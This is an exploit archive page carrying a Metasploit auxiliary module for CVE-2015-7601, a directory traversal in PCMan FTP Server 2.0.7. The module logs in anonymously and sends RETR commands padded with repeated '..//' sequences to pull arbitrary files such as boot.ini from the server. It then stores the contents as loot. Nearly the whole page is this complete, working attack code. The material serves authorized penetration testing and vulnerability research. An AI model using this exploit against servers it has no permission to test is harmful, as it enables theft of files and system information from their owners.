what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure

PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure
Posted Sep 1, 2024
Authored by James Fitts, Jay Turla, brad wolfe | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7. This vulnerability allows an attacker to download arbitrary files from the server by crafting a RETR command that includes file system traversal strings such as ..//.

tags | exploit, arbitrary
advisories | CVE-2015-7601
SHA-256 | 6e1733341126894c9908c414fb18706d2d746634c72abdeba3b946005202f185

PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(info,
'Name' => 'PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure',
'Description' => %q{
This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.
This vulnerability allows an attacker to download arbitrary files from the server by crafting
a RETR command that includes file system traversal strings such as '..//'
},
'Platform' => 'win',
'Author' =>
[
'Jay Turla', # @shipcod3, msf and initial discovery
'James Fitts', # initial discovery
'Brad Wolfe <brad.wolfe[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '38340'],
[ 'CVE', '2015-7601']
],
'DisclosureDate' => '2015-09-28'
))

register_options(
[
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])
])
end

def check_host(ip)
begin
connect
if /220 PCMan's FTP Server 2\.0/i === banner
return Exploit::CheckCode::Appears
end
ensure
disconnect
end

Exploit::CheckCode::Safe
end

def run_host(target_host)
begin
# Login anonymously and open the socket that we'll use for data retrieval.
connect_login
sock = data_connect
if sock.nil?
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'
print_status(error_msg)
elog(error_msg)
else
file_path = datastore['PATH']
file = ::File.basename(file_path)

# make RETR request and store server response message...
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
res = send_cmd( ["RETR", retr_cmd])

# read the file data from the socket that we opened
# dont assume theres still a sock to read from. Per #7582
if sock.nil?
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'
print_status(error_msg)
elog(error_msg)
return
else
# read the file data from the socket that we opened
response_data = sock.read(1024)
end

unless response_data
print_error("#{file_path} not found")
return
end

if response_data.length == 0 or ! (res =~ /^150/ )
print_status("File (#{file_path})from #{peer} is empty...")
return
end

# store file data to loot
loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)
vprint_status("Data returned:\n")
vprint_line(response_data)
print_good("Stored #{file_path} to #{loot_file}")
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
vprint_error(e.message)
elog(e)
rescue ::Timeout::Error, ::Errno::EPIPE => e
vprint_error(e.message)
elog(e)
ensure
data_disconnect
disconnect
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close